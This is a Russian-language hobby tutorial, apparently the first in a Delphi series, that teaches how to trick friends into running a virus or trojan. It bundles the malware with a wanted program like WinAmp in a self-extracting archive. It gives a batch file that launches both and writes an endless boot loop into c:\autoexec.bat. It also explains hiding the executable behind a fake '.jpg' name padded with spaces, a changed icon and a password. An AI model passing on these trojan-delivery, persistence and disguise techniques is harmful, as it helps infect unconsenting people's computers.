Delphi - Step 1 {Введение}

Предисловие:

ЕСЛИ ВЫ ХОТИТЕ ЧТО-ТО УЗНАТЬ ИЛИ ХОТЯ БЫ ЧТО ТО ПОНЯТЬ, ВЫ ДОЛЖНЫ ПРОЧИТАТЬ ВСЕ STEP-Ы!!!

Уверен, что многие хотели приколоться над друзьями. Хотели создать свой вирус или программу, от запуска которой приятеля (или неприятеля) бросало бы в обморок. Вот о некоторых приемах я тебе и расскажу. Конечно, без знания какого либо языка программирования или стандартных функций, можно ограничиться лишь тем, что создать самораспаковывающийся архив (SFX) до некоторого момента я так и делал:

В архив zip кидаются три файла:

1 - программа, которая нужна другу (это, например, новая версия WinAmp-а, или новая версия WinRar-а, ну и все такое).

2 - программа, которая не нужна другу (это вирус или конь, или что-то другое).

3 - стартовый файл (это *.bat, *com, или *.exe - файл, который при распаковке архива в темп, будет автоматически запускать по очереди 1, 2 программы),

а содержание его такое:

echo off

start WinAmp.exe

start Virus.exe

- WinAmp - это первый файл,

- Virus.exe - это второй файл.

Для большего эффекта в стартовый файл можно дописать такое:

@echo off

@echo --- IT'S COOL ---

start WinAmp.exe

start Virus.exe

@echo off >> c:\autoexec.bat

:0 >> c:\autoexec.bat

@start c:\autoexec.bat >> c:\autoexec.bat

@goto 0 >> c:\autoexec.bat

Это добавит в autoexec.bat цикл, который будет циклить каждый раз при запуске компа, но, правда, от него можно избавиться, нажав Ctrl + C, но все равно прикольно, тем более ламер до этого сочетания додумается не сразу.

Но у этого примера, есть одно "НО", если у твоего подопечного установлен WinRar то, щелкнув правую кнопку мыша, он может без труда распотрошить твой SFX. Можно, конечно поменять икону exe - архиву, т.к. у большинства пользователей в настройках ВиндоВ отключено "показывать расширения для знакомых типов файлов, а чтобы не распотрошил он твой проект и не понял твой замысел, можно поставить на архив пароль, а в стартовом файле прописать его значение, но тогда придется конвертировать этот стартовый файл (если это *.bat), в *.exe или *.com, или брать и переименовывать его таким образом:

super_fotka.jpg--------200 пробелов--------.exe

вобщем это все запутано и не понятно. Если у тебя есть Delphi - вот это по-настоящему круто, я какраз расскажу как делать что-то подобное на Делфях, и даже круче, приступим.

Hosted by uCoz